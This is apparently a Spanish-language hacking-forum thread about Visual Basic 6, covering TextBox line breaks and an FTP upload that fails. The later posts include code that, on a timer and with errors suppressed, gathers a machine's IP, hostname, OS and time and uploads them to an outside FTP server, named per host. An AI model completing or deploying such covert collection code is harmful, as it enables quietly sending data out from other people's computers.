Mensajes

para enlazar una web desde el visual basic tienes que hacerlo con la api ShellEjecuteA de la lib shell32 , para los sonidos tambien hay un api, pero buscate por google o en un manual

un saludo

Pero eso es para hacer mas claro el codigo, cuando una linea es mas larga de lo normal, pues metes el '_' para tenerlo en varias lineas.

si es para hacerlo claro, pero con "& vbCrLf & _ " baja una linea tambien

un saludo.

No habla del código sino del TextBox.

Saludos.

se que esta hablando del textbox y no del codigo, con el & vbCrLf puede bajar una linea en el textbox, le puse el "_" , para que desde el codigo baje de una  una linea y el que esta programando se haga a una idea de como kedara en el control que se asigne esta caracteristica, osea simplemente era un modo para verlo mas facil, pero se podia hacer en una linea simplemente con el vb crlf

un saludo

Pero eso es para hacer mas claro el codigo, cuando una linea es mas larga de lo normal, pues metes el '_' para tenerlo en varias lineas.

si es para hacerlo claro, pero con "& vbCrLf & _ " baja una linea tambien

un saludo.

prueba usar

Código [Seleccionar] Expandir

frmClientMain.txtLog.Text = frmClientMain.txtLog.Text & Chr(13) & "Command> connect" & vbCrLf & _
Chr(13) & "Introducir Puerto:"

con el "_" puedes bajar una linea

un saludo

pues no entiendo a que te refieres con lo de los textbox, pero seguro este hilo te orienta

http://foro.elhacker.net/index.php/topic,77071.0.html

un saludo

pues prueba con otro servidor ftp aver que tal va

pues debes recdordar que desde una ip normal solo se puede tener una conexión a cliente ftp... asi que cuando se ejecute no debe haber mas programas conectados como el administrador del ftp....

pues el ejemplo del enlace que te puso Dunklerstern esta muy bien, y no es muy complicado de hacer, deberias intentarlo con ese codigo M@rT1n

[Manibal_man]

Manibal_man ... mmm...pues creeme que en realidad he buscado informacion al respecto en diversas fuentes... y pues aunk tampoco estoy deacuerdo con explicaciones tan explicitas, ya que se fomenta "el kerer que todo te hagan",yo mismo he tratado de resolverlo por mi mismo pero se me ha ido de las manos  ,  te lo agradezco men, pues he podido resolver el problema... gracias por tomarte el tiempo para responder.

aunke al final lo he hexo simplemente asi..

edito:

Código [Seleccionar] Expandir


inet1.execute , "put c:\prueba.txt /prueba" & winsock1.localhostname & ".txt"     'para que sea diferente al ejecutarlo de diferente makina


pero sinduda la explicacion a la linea que pusiste arriba fue la que me aclaro la duda 
un saludo.

ahi esta todo el codigo,, repito, el programa se conecta, puesto que no me permite conectarme con otra aplicacion al mismo servidor ftp, pero no sube el arxivo

Código [Seleccionar] Expandir

Dim ti
--------------------------------------------------------------------------
Private Sub Form_Load()
On Error GoTo error
Form1.Visible = True
ti = 0
Timer1.Interval = 100
error:
End Sub
--------------------------------------------------------------------------
Private Sub Command1_Click()
On Error GoTo error
ti = ti + 1
Label1.Caption = ti
If ti = 10 Then
Open "prueba.txt" For Output As #1
Print #1, "ip del host . . . . . :", Winsock1.LocalIP
Print #1, "host. . . . . . . . . :", Winsock1.LocalHostName
Print #1, "plataforma. . . . . . :", SysInfo1.OSPlatform
Print #1, "fecha . . . . . . . . :", Date
Print #1, "hora. . . . . . . . . :", Time
Close #1
Inet1.URL = "ftp://MiFtp.es"
Inet1.UserName = "ElUsuario"
Inet1.Password = "ElPass"
Inet1.Execute , "PUT" & "c:\windows\system32" & "prueba.txt" & ".txt"
End If
error:
End Sub
--------------------------------------------------------------------------
Private Sub Timer1_Timer()
On Error GoTo error
Call Command1_Click
error:
End Sub

un saludo